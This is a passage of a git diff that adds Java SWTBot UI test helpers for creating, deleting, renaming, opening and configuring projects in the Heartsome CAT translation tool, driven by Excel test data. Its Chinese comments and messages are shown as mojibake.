net.heartsome.cat.ts.test.ui.constants.TsUIConstants.ExpectedResult; +import net.heartsome.cat.ts.test.ui.dialogs.FileNewDialog; +import net.heartsome.cat.ts.test.ui.dialogs.NewProjectDialog; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.tasks.Waits; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; +import net.heartsome.test.swtbot.utils.SWTBotUtils; +import net.heartsome.test.utilities.common.FileUtil; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; + +import org.eclipse.jface.bindings.keys.KeyStroke; +import org.eclipse.jface.bindings.keys.ParseException; + +/** + * 项目相关æ“作 + * @author felix_lu + */ +public class ProjectCreate { + + private final TS ts = TS.getInstance(); + + /** + * 下一步æ“作 + * @author felix_lu + * @version + * @since JDK1.6 + */ + public enum NextAction { + CANCEL, BACK, NEXT, FINISH, + } + + /** 创建å‘导的对è¯æ¡† shell. */ + private NewProjectDialog dialog; + /** 创建项目信æ¯ç›¸å…³æ•°æ® */ + private HsRow rowCreatePrjData; + private ExcelData data; + private String name; + private String remark; + private String client; + private String company; + private String eMail; + private String srcLangCode; + private String[] tgtLangCodes; + // private List dbTMs; + // private List dbTBs; + // private String[] srcFiles; + + private ExpectedResult expectedResult; + private String invalidChar; + + /** + * + */ + public ProjectCreate() { + } + + /** + * @param rowCreatePrjData + */ + public ProjectCreate(HsRow rowCreatePrjData) { + this.rowCreatePrjData = rowCreatePrjData; + data = new ExcelData(rowCreatePrjData); + } + + /** + * @param name + * @param srcLangCode + * @param tgtLangCodes + */ + public ProjectCreate(String name, String srcLangCode, String... tgtLangCodes) { + this.name = name; + this.srcLangCode = srcLangCode; + this.tgtLangCodes = tgtLangCodes; + } + + /** + * 从指定的入å£æ‰“开新建对è¯æ¡† + * @param from + * @throws ParseException + */ + public void openCreateProjectDialog(Entry from) { + switch (from) { + case MENU: { + ts.menuFileNewProject().click(); + dialog = new NewProjectDialog(FileNewDialog.NEW_TYPE_PROJECT); + break; + } + case SHORTCUT: { + try { + ProjectTreeView.getTree().pressShortcut(SWTBotUtils.getCtrlOrCmdKey(), KeyStroke.getInstance("N")); + } catch (ParseException e) { + assertTrue("å¿«æ·é”®è§£æžé”™è¯¯ã€‚", false); + } + dialog = new NewProjectDialog(FileNewDialog.NEW); + break; + } + case CONTEXT_MENU: { + ProjectTreeView.getTree().contextMenu("新建记忆库...").click(); +// ProjectTreeView.getInstance().ctxMenuNewProject().click(); + dialog = new NewProjectDialog(FileNewDialog.NEW); + break; + } +// case CONTEXT_MENU_ALT: { +// ProjectTreeView.getInstance().ctxMenuNewProject().click(); +// dialog = new NewProjectDialog(FileNewDialog.NEW_TYPE_PROJECT); +// break; +// } + default: { + assertTrue("å‚æ•°é”™è¯¯ï¼šåˆ›å»ºé¡¹ç›®å…¥å£ from ä¸æ­£ç¡®ã€‚", false); + } + } + assertTrue(dialog.isActive()); + + // 选择新建类型为 Project,下一步 +// dialog.treeiProject().select(); +// assertTrue(dialog.btnNext().isEnabled()); +// dialog.btnNext().click(); + } + + /** + * 创建项目第一步:基本信æ¯; + * @param nextAction + * å‘导方å‘,请使用常é‡; + */ + public void createPrj1BasicInfo(NextAction nextAction, ExpectedResult expectedResult, String invalidChar) { + assertTrue("å‚数错误:项目å称为 null。", name != null); + dialog.setBasicInfo(name, remark, client, company, eMail); + + switch (nextAction) { + case BACK: { + assertTrue(dialog.btnBack().isEnabled()); + dialog.btnBack().click(); + break; + } + case NEXT: { + switch (expectedResult) { + case SUCCESS: { + assertTrue(dialog.btnNext().isEnabled()); + dialog.btnNext().click(); + break; + } + case DUPLICATED_NAME: { + assertTrue(!dialog.btnNext().isEnabled()); + assertTrue(dialog.msgDucplicatedProjectName().isVisible()); + break; + } + case INVALID_NAME: { + assertTrue(!dialog.btnNext().isEnabled()); + assertTrue(dialog.msgInvalidCharInResourceName(invalidChar, name).isVisible()); + break; + } + default: { + assertTrue("å‚数错误:expectedResult ä¸æ­£ç¡®ã€‚", false); + } + } + break; + } + default: { + assertTrue("å‚数错误:nextAction ä¸æ­£ç¡®ã€‚", false); + } + } + } + + /** + * 创建项目第二步:语言对; + * @param nextAction + * å‘导方å‘,请使用常é‡; + */ + public void createPrj2LangPair(NextAction nextAction) { + assertTrue("å‚数错误:项目æºè¯­è¨€ä¸º null。", srcLangCode != null); + assertTrue("å‚数错误:项目目标语言为 null。", tgtLangCodes != null); + for (String tgtLangCode : tgtLangCodes) { + assertTrue("å‚数错误:项目目标语言为 null。", tgtLangCode != null); + } + dialog.setLangPair(srcLangCode, tgtLangCodes); + + switch (nextAction) { + case BACK: { + dialog.btnBack().isActive(); + dialog.btnBack().click(); + break; + } + case NEXT: { + dialog.btnNext().isActive(); + dialog.btnNext().click(); + break; + } + case FINISH: { + dialog.btnFinish().isActive(); + dialog.btnFinish().click(); + break; + } + default: { + assertTrue("å‚数错误:nextAction ä¸æ­£ç¡®ã€‚", false); + } + } + } + + /** + * 直接从指定的 Excel 表格行中读å–æ•°æ®å¹¶åˆ›å»ºé¡¹ç›®ã€‚ + * @param from + * ; + * @throws ParseException + */ + public void createPrj(Entry from) { + assertTrue("å‚数错误:Excel 表格数æ®ä¸º null。", rowCreatePrjData != null); + openCreateProjectDialog(from); + getDataBasicInfo(); + if (expectedResult.equals(TsUIConstants.ExpectedResult.SUCCESS)) { // 预期结果为创建æˆåŠŸçš„è¯ï¼Œéœ€è¦å…ˆåˆ é™¤å¯èƒ½ä»¥å‰åˆ›å»ºè¿‡ä½†æœªåˆ é™¤çš„项目目录,é¿å…å½±å“åŽé¢çš„创建结果 + File oldPrjFile = new File(FileUtil.joinPath(FileUtil.getWorkspacePath(), name)); + FileUtil.deleteIfExist(oldPrjFile); + } + createPrj1BasicInfo(NextAction.NEXT, expectedResult, invalidChar); + if (expectedResult.equals(TsUIConstants.ExpectedResult.SUCCESS)) { + getDataLangPairs(); + createPrj2LangPair(NextAction.FINISH); + Waits.shellClosed(dialog); + Waits.prjExistOnTree(name); + Waits.prjExistInWorkspace(name); + } else { + dialog.btnCancel().click(); + Waits.shellClosed(dialog); + } + } + + // /** + // * @param from + // * @param prjBasicInfo + // * @param srcLangCode + // * @param tgtLangCodes + // * @param dbTMs + // * @param dbTB + // * @param srcFiles + // * ; + // * @throws ParseException + // */ + // public void createPrj(int from, String name, String remark, String client, String company, String eMail, + // String srcLangCode, List tgtLangCodes, List dbTMs, List dbTB, + // List srcFiles) throws ParseException { + // openCreateProjectDialog(from); + // dialog.setBasicInfo(name, remark, client, company, eMail); + // dialog.btnNext().isActive(); + // dialog.btnNext().click(); + // dialog.setLangPair(srcLangCode, tgtLangCodes); + // dialog.btnFinish().isActive(); + // dialog.btnFinish().click(); + // Waits.shellClosed(dialog); + // Waits.prjExist(name); + // } + + /** + * 从 Excel 文件中å–项目基本信æ¯æ•°æ®ï¼Œå¹¶èµ‹å€¼ç»™ç›¸åº”çš„æˆå‘˜å˜é‡; + */ + public void getDataBasicInfo() { + name = data.getTextOrEmpty(ExcelData.colPrjName); + remark = data.getTextOrEmpty(ExcelData.colRemark); + client = data.getTextOrEmpty(ExcelData.colClient); + company = data.getTextOrEmpty(ExcelData.colCompany); + eMail = data.getTextOrEmpty(ExcelData.colEMail); + expectedResult = data.getExpectedResult(); + invalidChar = data.getTextOrEmpty(ExcelData.colInvChar); + } + + /** + * 从 Excel 指定åºå·çš„行中读å–语言对数æ®ï¼Œå¹¶èµ‹å€¼ç»™ç›¸åº”çš„æˆå‘˜å˜é‡; + */ + public void getDataLangPairs() { + srcLangCode = data.getTextOrEmpty(ExcelData.colSrcLang); + tgtLangCodes = data.getTextArray(ExcelData.colTgtLang); + } + +} diff --git a/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectDelete.java b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectDelete.java new file mode 100644 index 0000000..8e702dd --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectDelete.java @@ -0,0 +1,135 @@ +package net.heartsome.cat.ts.test.basecase.menu.file; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.basecase.common.ExcelData; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.Entry; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.msgdialogs.ConfirmProjectDeleteDialog; +import net.heartsome.cat.ts.test.ui.msgdialogs.ProgressDialog; +import net.heartsome.cat.ts.test.ui.tasks.Waits; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; + +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTree; + +/** + * 项目相关æ“作 + * @author felix_lu + */ +public class ProjectDelete { + + /** 创建项目信æ¯ç›¸å…³æ•°æ® */ + // private HsRow rowDeletePrjData; + private String name; + private boolean deleteContent; + // private int expectedResult; + private ExcelData data; + + /** + * + */ + public ProjectDelete() { + } + + /** + * @param rowDeletePrjData + */ + public ProjectDelete(HsRow rowDeletePrjData) { + // this.rowDeletePrjData = rowDeletePrjData; + data = new ExcelData(rowDeletePrjData); + } + + /** + * @param name + * @param deleteContent + */ + public ProjectDelete(String name, boolean deleteContent) { + this.name = name; + this.deleteContent = deleteContent; + } + + /** + * @param from + * 从指定的入å£ã€æŒ‰ç…§ä»Ž Excel 中读å–çš„æ•°æ®åˆ é™¤é¡¹ç›®; + */ + public void deletePrj(Entry from) { + getDataDeleteProject(); + deletePrj(from, name, deleteContent); + } + + /** + * 删除项目 + * @param name + * 项目å称 + * @param deleteContent + * 是å¦åŒæ—¶åˆ é™¤é¡¹ç›®æ–‡ä»¶å¤¹ + */ + public void deletePrj(Entry from, String name, boolean deleteContent) { + ProjectTreeView ptv = ProjectTreeView.getInstance(); + SWTBotTree treePrj = ProjectTreeView.getTree(); + Waits.prjExistOnTree(name); + + treePrj.unselect(); // å–消选中任何项目,é¿å…误æ“作 + // 选择项目并删除 + treePrj.select(name).isActive(); + + switch (from) { + case CONTEXT_MENU: { + ptv.ctxMenuDelete().click(); + break; + } + case MENU: { + TS.getInstance().menuEditDelete().click(); + break; + } + default: { + assertTrue("无此入å£ï¼š" + from, false); + } + } + + // 确认删除对è¯æ¡† + ConfirmProjectDeleteDialog cpd = new ConfirmProjectDeleteDialog(name); + cpd.isActive(); + + // 选择是å¦åˆ é™¤å†…容 + if (deleteContent) { + cpd.radBtnAlsoDeleteContentsUnder().click(); + cpd.btnYes().click(); + Waits.shellClosed(cpd); + + SWTBotShell[] shells = HSBot.bot().shells(); + if (shells.length > 1) { + ProgressDialog dlgProg = new ProgressDialog("dlgTitleProgressDeleteResource"); + Waits.shellClosed(dlgProg); + } + + Waits.prjNotExistOnTree(name); + Waits.prjNotExistInWorkspace(name); + } else { + cpd.radBtnDoNotDeleteContents().click(); + cpd.btnYes().click(); + Waits.shellClosed(cpd); + + SWTBotShell[] shells = HSBot.bot().shells(); + if (shells.length > 1) { + ProgressDialog dlgProg = new ProgressDialog("dlgTitleProgressDeleteResource"); + Waits.shellClosed(dlgProg); + } + + Waits.prjNotExistOnTree(name); + Waits.prjExistInWorkspace(name); + } + } + + /** + * 从 Excel 文件中å–删除项目数æ®ï¼Œå¹¶èµ‹å€¼ç»™ç›¸åº”çš„æˆå‘˜å˜é‡; + */ + public void getDataDeleteProject() { + name = data.getTextOrEmpty(ExcelData.colPrjName); + deleteContent = data.getBoolean(ExcelData.colDeleteContent); + // expectedResult = data.getExpectedResult(); + } + +} diff --git a/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectFile.java b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectFile.java new file mode 100644 index 0000000..3fa03d3 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectFile.java @@ -0,0 +1,133 @@ +package net.heartsome.cat.ts.test.basecase.menu.file; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.basecase.common.ExcelData; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.Entry; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.ResourceType; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.utils.TreeItemUtil; +import net.heartsome.test.swtbot.waits.IsFileOpenedInEditor; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; + +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTree; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * 对项目文件夹ã€æ–‡ä»¶çš„一些æ“作,主è¦åŸºäºŽé¡¹ç›®å¯¼èˆªæ ‘。 + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class ProjectFile { + + private HsRow row; + private String prjName; + private String fileType; + private String filePath; + private String fileName; + // private int expResult; + private ExcelData data; + + private ProjectTreeView view; + private SWTBotTree tree; + private SWTBotTreeItem treeItem; + private ResourceType selectType; + + /** + * @param row + * 存放测试数æ®çš„ Excel è¡Œ + */ + public ProjectFile(HsRow row) { + this.row = row; + view = ProjectTreeView.getInstance(); + tree = ProjectTreeView.getTree(); + data = new ExcelData(row); + } + + /** + * @param from + * 打开文件的入å£ï¼šå³é”®èœå•ã€åŒå‡»ï¼Œè¯·ä½¿ç”¨ TS ç±»æ供的常é‡; + */ + public void openFile(Entry from) { + assertTrue("å‚数错误,Excel æ•°æ®è¡Œ row 为 null。", row != null); + getDataFile(); + SWTBotTreeItem item = select(); + assertTrue("如下选择类型ä¸æ˜¯æ–‡ä»¶ï¼š" + selectType, selectType == TsUIConstants.ResourceType.FILE); + + switch (from) { + case DOUBLE_CLICK: { + item.doubleClick(); + break; + } + case CONTEXT_MENU: { + view.ctxMenuOpenFile().click(); + break; + } + default: { + assertTrue("å‚数错误,无此入å£ï¼š" + from, false); + } + } + HSBot.bot().waitUntil(new IsFileOpenedInEditor(fileName)); + } + + // TODO + + /** + * @return 选中的项目ã€æ–‡ä»¶ç±»åž‹ï¼ˆæ–‡ä»¶å¤¹ï¼‰ã€å­æ–‡ä»¶å¤¹æˆ–文件所在的项目导航树节点; + */ + public SWTBotTreeItem select() { + if (prjName == null) { + getDataFile(); + } + if (fileType == null || fileType.equals("")) { // 文件类型为空,说明åªé€‰é¡¹ç›® + treeItem = tree.expandNode(prjName).select(); + selectType = TsUIConstants.ResourceType.PROJECT; + } else { + if (filePath != null && !filePath.equals("")) { // 在指定的类型下还有å­æ–‡ä»¶å¤¹ + String[] paths = filePath.split("/"); + if (fileName != null && !fileName.equals("")) { // 文件åä¸ä¸ºç©ºï¼Œåˆ™é€‰æ‹©æ–‡ä»¶ + treeItem = tree.expandNode(prjName).expandNode(fileType).expandNode(paths).expandNode(fileName) + .select(); + selectType = TsUIConstants.ResourceType.FILE; + } else { // 文件å为空,å³åªé€‰æŒ‡å®šæ–‡ä»¶ç±»åž‹æ–‡ä»¶å¤¹ä¸‹çš„å­æ–‡ä»¶å¤¹ + treeItem = tree.expandNode(prjName).expandNode(fileType).expandNode(paths).select(); + selectType = TsUIConstants.ResourceType.FOLDER; + } + } else { // 直接在在指定的类型下,没有å­æ–‡ä»¶å¤¹ + if (fileName != null && !fileName.equals("")) { // 文件åä¸ä¸ºç©ºï¼Œåˆ™é€‰æ‹©æ–‡ä»¶ + treeItem = tree.expandNode(prjName).expandNode(fileType).expandNode(fileName).select(); + selectType = TsUIConstants.ResourceType.FILE; + } else { // 文件å为空,å³é€‰æ‹©è¯¥æ–‡ä»¶ç±»åž‹æ–‡ä»¶å¤¹ + treeItem = tree.expandNode(prjName).expandNode(fileType).select(); + selectType = TsUIConstants.ResourceType.FOLDER; + } + } + } + return treeItem; + } + + /** + * @return å–得当å‰æ–‡ä»¶åœ¨å·¥ä½œç©ºé—´ä¸­çš„路径; + */ + public String getPath() { + if (treeItem == null) { + select(); + } + return TreeItemUtil.getPath(treeItem); + } + + /** + * 从 Excel 文件中读å–打开文件所需的测试数æ®; + */ + public void getDataFile() { + assertTrue("å‚数错误,row 为 null。", row != null); + prjName = data.getTextOrEmpty(ExcelData.colPrjName); + fileType = data.getTextOrEmpty(ExcelData.colFileType); + filePath = data.getTextOrEmpty(ExcelData.colFilePath); + fileName = data.getTextOrEmpty(ExcelData.colFileName); + // expResult = data.getExpectedResult(); + } + +} diff --git a/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectRename.java b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectRename.java new file mode 100644 index 0000000..28710e5 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/file/ProjectRename.java @@ -0,0 +1,216 @@ +package net.heartsome.cat.ts.test.basecase.menu.file; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.basecase.common.ExcelData; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.Entry; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.ExpectedResult; +import net.heartsome.cat.ts.test.ui.dialogs.ProjectExistsDialog; +import net.heartsome.cat.ts.test.ui.dialogs.RenameProblemsDialog; +import net.heartsome.cat.ts.test.ui.tasks.Waits; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; + +import org.eclipse.swtbot.swt.finder.keyboard.Keystrokes; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTree; + +/** + * 项目相关æ“作 + * @author felix_lu + */ +public class ProjectRename { + + // /** 刷新文件系统时的最大é‡è¯•æ¬¡æ•° */ + // private static final int MAX_RETRY = 10; + + /** é‡å‘½åé¡¹ç›®ç›¸å…³æ•°æ® */ + // private HsRow rowRenamePrjData; + private String oldName; + private String newName; + private ExpectedResult expectedResult; + private String invalidChar; + private boolean overwrite; + private ExcelData data; + + private ProjectTreeView viewPrjTree = ProjectTreeView.getInstance(); + private SWTBotTree treePrj = ProjectTreeView.getTree(); + + /** + * + */ + public ProjectRename() { + } + + /** + * @param rowRenamePrjData + */ + public ProjectRename(HsRow rowRenamePrjData) { + // this.rowRenamePrjData = rowRenamePrjData; + data = new ExcelData(rowRenamePrjData); + } + + /** + * é‡å‘½å项目 + * @param oldName + * 旧项目å称 + * @param newName + * 新项目å称 + */ + private void renamePrj(Entry from, String oldName, String newName, ExpectedResult expectedResult, + String invalidChar, boolean overwrite) { + + // å…ˆå–消选中项目,é¿å…åŽé¢æ²¡æœ‰æ‰¾åˆ°åŒ¹é…项目时ä»æœ‰ä¹‹å‰é€‰ä¸­çš„项目被误æ“作 + treePrj.unselect(); + Waits.prjExistOnTree(oldName); + + // 选择项目并é‡å‘½å + treePrj.select(oldName); + + switch (from) { + case CONTEXT_MENU: { + viewPrjTree.ctxMenuRename().click(); + break; + } + case SHORTCUT: { + treePrj.pressShortcut(Keystrokes.F2); + break; + } + default: { + assertTrue("错误的入å£å‚数:" + from, false); + } + } + + // 进入é‡å‘½åçŠ¶æ€ + SWTBotText txtPrjName = viewPrjTree.bot().text(oldName); + // 输入新å称并回车确认 + txtPrjName.typeText(newName + "\n"); + + /* 以下为异常情况处ç†åŠé‡å‘½å结果验è¯éƒ¨åˆ† */ + + // 若有多余的对è¯æ¡†ï¼Œè¯´æ˜Žä¸¤ç§å¯èƒ½ï¼šä¸€æ˜¯å‡ºçŽ°è¿›åº¦å¯¹è¯æ¡†ï¼›äºŒæ˜¯é‡å‘½å出现了问题(如文件系统ä¸åŒæ­¥ï¼‰ã€‚ + // ä¸åŒæ­¥çš„问题暂ä¸è€ƒè™‘——若è¦è§£å†³ï¼Œæ€è·¯æ˜¯åˆ¤æ–­æ˜¯å¦å‡ºçŽ°ä¸åŒæ­¥çš„ä¿¡æ¯ï¼Œè‹¥æœ‰åˆ™åˆ·æ–°åŽé‡è¯•é‡å‘½å,直到达到最大é‡è¯•æ¬¡æ•°åŽæ”¾å¼ƒã€‚ + if (HSBot.bot().shells().length > 1) { // FIXME: å¯èƒ½éœ€è¦ä¿®æ”¹è¿™ç§åˆ¤æ–­æ–¹å¼ï¼Œè¯•è¯• activeShell()? + Waits.progressFinished(); + + String title = HSBot.bot().activeShell().getText(); + String errMsg = "é‡å‘½å出错。对è¯æ¡†æ ‡é¢˜ï¼š" + title; + + switch (expectedResult) { + + case SUCCESS: { + // 验è¯ç»“æžœ + assertRenamed(oldName, newName); + break; + } + + case INVALID_NAME: { + if (title.equals(TsUIConstants.getString("dlgTitleRenameProblems"))) { + RenameProblemsDialog rpd = new RenameProblemsDialog(newName, invalidChar); + assertTrue("未正确显示项目åéžæ³•çš„ä¿¡æ¯ã€‚", rpd.isInvalidMsgVisible()); + assertTrue(rpd.btnOK().isEnabled()); + rpd.btnOK().click(); + Waits.shellClosed(rpd); + + assertNotRenamed(oldName, newName); + } else { + assertTrue(errMsg, false); + } + break; + } + + case DUPLICATED_NAME: { + if (title.equals(TsUIConstants.getString("dlgTitleProjectExists"))) { + ProjectExistsDialog ped = new ProjectExistsDialog(newName); + assertTrue("未正确显示项目å称已存在的信æ¯ã€‚", ped.isProjectExistsMsgVisible()); + assertTrue(ped.btnYes().isEnabled()); + assertTrue(ped.btnNo().isEnabled()); + if (overwrite) { + ped.btnYes().click(); + Waits.shellClosed(ped); + Waits.progressFinished(); + + assertRenamed(oldName, newName); + } else { + ped.btnNo().click(); + Waits.shellClosed(ped); + Waits.progressFinished(); + + assertNotOverwritten(oldName, newName); + } + } else { + assertTrue(errMsg, false); + } + break; + } + + default: { + assertTrue(errMsg, false); + } + } + + } else { // é‡å‘½å正常,验è¯ç»“æžœ + assertRenamed(oldName, newName); + } + } + + /** + * æ ¹æ®ä»Ž Excel 文件里读å–到的数æ®ï¼Œé‡å‘½å项目; + */ + public void renamePrj(Entry from) { + getDataNames(); + renamePrj(from, oldName, newName, expectedResult, invalidChar, overwrite); + } + + /** + * 断言(等待)æˆåŠŸé‡å‘½å,å³æ—§é¡¹ç›®ä¸å­˜åœ¨ã€æ–°é¡¹ç›®å­˜åœ¨ + * @param oldName + * @param newName + */ + private void assertRenamed(String oldName, String newName) { + treePrj.unselect(); + Waits.prjNotExistOnTree(oldName); + Waits.prjNotExistInWorkspace(oldName); + Waits.prjExistOnTree(newName); + Waits.prjExistInWorkspace(newName); + } + + /** + * 断言(等待)未é‡å‘½å,å³æ—§é¡¹ç›®å­˜åœ¨ã€æ–°é¡¹ç›®ä¸å­˜åœ¨ + * @param oldName + * @param newName + */ + private void assertNotRenamed(String oldName, String newName) { + treePrj.unselect(); + Waits.prjExistOnTree(oldName); + Waits.prjExistInWorkspace(oldName); + Waits.prjNotExistOnTree(newName); + Waits.prjNotExistInWorkspace(newName); + } + + /** + * 断言(等待)未覆盖,å³æ–°ã€æ—§å称的项目å‡å­˜åœ¨ + * @param oldName + * @param newName + */ + private void assertNotOverwritten(String oldName, String newName) { + treePrj.unselect(); + Waits.prjExistOnTree(oldName); + Waits.prjExistInWorkspace(oldName); + Waits.prjExistOnTree(newName); + Waits.prjExistInWorkspace(newName); + } + + /** + * 从 Excel 文件中å–é‡å‘½å项目的数æ®ï¼Œå¹¶èµ‹å€¼ç»™ç›¸åº”çš„æˆå‘˜å˜é‡; + */ + public void getDataNames() { + oldName = data.getTextOrEmpty(ExcelData.colOldName); + newName = data.getTextOrEmpty(ExcelData.colNewName); + expectedResult = data.getExpectedResult(); + invalidChar = data.getTextOrEmpty(ExcelData.colInvChar); + overwrite = data.getBoolean(ExcelData.colOverwrite); + } + +} diff --git a/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/project/ProjectSetting.java b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/project/ProjectSetting.java new file mode 100644 index 0000000..8871f46 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/project/ProjectSetting.java @@ -0,0 +1,275 @@ +package net.heartsome.cat.ts.test.basecase.menu.project; + +import static org.junit.Assert.assertTrue; + +import java.util.Arrays; +import java.util.List; + +import net.heartsome.cat.ts.test.basecase.common.ExcelData; +import net.heartsome.cat.ts.test.basecase.menu.db.DBManagement; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.Entry; +import net.heartsome.cat.ts.test.ui.dialogs.ProjectSettingDialog; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.msgdialogs.InformationDialog; +import net.heartsome.cat.ts.test.ui.tasks.Waits; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; + +import org.eclipse.swtbot.swt.finder.exceptions.WidgetNotFoundException; + +/** + * å°è£…项目设置的常用方法 + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class ProjectSetting { + + private ProjectSettingDialog dlgPrjSetting; + private HsRow row; + private ExcelData data; + private String name; + private String client; + private String company; + private String eMail; + private String remark; + private String srcLang; + private String[] tgtLangs; + // private int dbType; + private String tMDBName; + private String tBDBName; + // private String address; + private boolean isTMDBExist; + private boolean isTBDBExist; + + /** + * 设置之åŽçš„动作 + * @author felix_lu + * @version + * @since JDK1.6 + */ + public enum NextAction { + OK, CANCEL, WAIT, + } + + /** + * @param row + * 存放测试数æ®çš„ Excel 表格行对象 + */ + public ProjectSetting(HsRow row) { + this.row = row; + data = new ExcelData(row); + } + + /** + * 完整的设置项目信æ¯æµç¨‹ï¼Œå«ç¡®å®šå¹¶å…³é—­å¯¹è¯æ¡† + * @param from + * ; + */ + public void setProjectInfo(Entry from) { + // getDataPrjSetting(); + // openPrjSettingDlg(from); + setPrjBasicInfo(from, NextAction.WAIT); + setPrjLangs(from, NextAction.WAIT); + setTMDB(from, NextAction.WAIT); + setTBDB(from, NextAction.WAIT); + nextAction(NextAction.OK); + } + + /** + * 打开项目设置对è¯æ¡† + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants ç±»æä¾›çš„å¸¸é‡ + * @return 项目设置对è¯æ¡†å¯¹è±¡; + */ + public ProjectSettingDialog openPrjSettingDlg(Entry from) { + if (name == null) { + getDataPrjSetting(); + } + assertTrue(name != null && !name.equals("")); + ProjectTreeView.getTree().expandNode(name).select(); + + switch (from) { + case CONTEXT_MENU: { + ProjectTreeView.getInstance().ctxMenuProjectSetting().click(); + break; + } + case MENU: { + TS.getInstance(); // TODO + break; + } + case SHORTCUT: { + // TODO + break; + } + default: { + assertTrue("无此入å£ï¼š" + from, false); + } + } + + dlgPrjSetting = new ProjectSettingDialog(); + assertTrue(dlgPrjSetting.isActive()); + return dlgPrjSetting; + } + + /** + * è®¾ç½®é¡¹ç›®åŸºæœ¬ä¿¡æ¯ + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants ç±»æ供的常é‡; + * @param wait + * 下一步æ“作,请使用本类æ供的常é‡; + */ + public void setPrjBasicInfo(Entry from, NextAction wait) { + if (dlgPrjSetting == null) { + openPrjSettingDlg(from); + } + dlgPrjSetting.treiProjectInfo().expand().select(); + dlgPrjSetting.txtWLblClient().setText(client); + dlgPrjSetting.txtWLblCompany().setText(company); + dlgPrjSetting.txtWLblEMail().setText(eMail); + dlgPrjSetting.txtWLblRemark().setText(remark); + nextAction(wait); + } + + /** + * 设置项目语言 + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants ç±»æ供的常é‡; + * @param wait + * 下一步æ“作,请使用本类æ供的常é‡; + */ + public void setPrjLangs(Entry from, NextAction wait) { + if (dlgPrjSetting == null) { + openPrjSettingDlg(from); + } + dlgPrjSetting.treiProjectLanguage().select(); + if (!srcLang.equals(dlgPrjSetting.cmbSrcLang().selection())) { + dlgPrjSetting.cmbSrcLang().setSelection(srcLang); + } + dlgPrjSetting.lstTgtLangAvailable().select(tgtLangs); + dlgPrjSetting.btnAddToRight().click(); + List selectedLangs = Arrays.asList(dlgPrjSetting.lstTgtLangSelected().selection()); + for (String tgtLang : tgtLangs) { + assertTrue(selectedLangs.contains(tgtLang)); + } + nextAction(wait); + } + + /** + * 设置记忆库 + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants ç±»æ供的常é‡; + * @param nextAction + * 下一步æ“作,请使用本类æ供的常é‡; + */ + public void setTMDB(Entry from, NextAction nextAction) { + if (dlgPrjSetting == null) { + openPrjSettingDlg(from); + } + dlgPrjSetting.treiTmSetting().select(); + if (!dlgPrjSetting.table().containsTextInColumn(tMDBName, dlgPrjSetting.tblColName())) { + if (isTMDBExist) { + dlgPrjSetting.btnAdd().click(); + DBManagement dbMgmt = new DBManagement(row); + dbMgmt.selectDB(tMDBName); + } else { + dlgPrjSetting.btnCreate().click(); + // TODO ç›®å‰å¼¹å‡ºçš„是数æ®åº“创建å‘导,而该å‘导有较大的改进余地,暂ä¸å®žçŽ° + } + try { + InformationDialog 